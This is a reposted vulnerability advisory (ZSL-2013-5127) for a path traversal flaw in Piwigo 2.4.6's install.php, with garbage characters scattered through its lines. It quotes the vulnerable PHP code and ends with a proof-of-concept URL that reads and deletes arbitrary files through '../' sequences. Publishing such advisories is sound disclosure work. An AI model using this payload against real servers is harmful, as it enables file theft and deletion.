Piwigo是用PHP编写的相册脚本。
5 ~) K% J( i4 D$ Q ]' B3 F7 {7 \: T8 u& I; N. X' H' M7 p
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
, C( | U1 ~5 \9 `====================================================================
) k1 P( `5 T8 G( M, v/install.php:
/ S( n( e# R% z* R* t+ J: _-------------
1 W: n) l7 ~, [! |113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
: j) L& ?' ~* h/ o! h- |114: {
}3 K6 `) ?9 u7 x; k- P% _115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
( ^5 n. {+ H0 d0 |116: header('Cache-Control: no-cache, must-revalidate');
2 \& F, |( R2 L# F% J117: header('Pragma: no-cache');
% l2 F9 I2 }9 h6 U% @7 `1 J118: header('Content-Disposition: attachment; filename="database.inc.php"');
/ @ A; y K6 k9 ]119: header('Content-Transfer-Encoding: binary');
8 q7 i' o( f% r+ I) m120: header('Content-Length: '.filesize($filename));8 L3 b/ d( }2 Q& v0 E. D9 S' y
121: echo file_get_contents($filename);% p: H* y: E" b$ R% }* {
122: unlink($filename);
! |# d# i* y! g123: exit();
4 Y i" w7 u2 I) b6 Q+ C124: }
$ I, L/ j! D! {& M% B7 k K: y====================================================================
% ^7 ^; B8 W1 |# H1 A) M ~& I ' @: h8 R% h( Y6 ]& N
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)3 r2 ?" ]' I- d7 ]% \0 x
Apache 2.4.2 (Win32)3 \2 ^! L1 L7 c$ Z, ^3 S
PHP 5.4.41 ?2 M8 L; G$ t% p" S! k- G
MySQL 5.5.25a1 `( C8 M1 u1 D& }2 m
~& H `3 ^1 ~& {* G( P! GVulnerability discovered by Gjoko 'LiquidWorm' Krstic3 _$ S4 B9 L7 f; @
@zeroscience
5 V) |' ] X4 T! r$ b+ S) H* E3 K / U2 j7 j0 C5 J( e9 P" o
Advisory ID: ZSL-2013-5127! X3 p8 o8 t I1 G% a' j1 Q
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
; g+ z3 S5 k hVendor Patch: http://piwigo.org/bugs/view.php?id=2843
! p, d! n: t# b @$ J
- K1 j& s4 K6 w( x15.02.2013
! p' N2 O' a, M8 [ + l, T' P3 s; {1 T! C
--
; ~& B& ^0 g" Fhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt8 ^& O- s6 Q! j/ L
* P% L( v3 c6 _/ y
|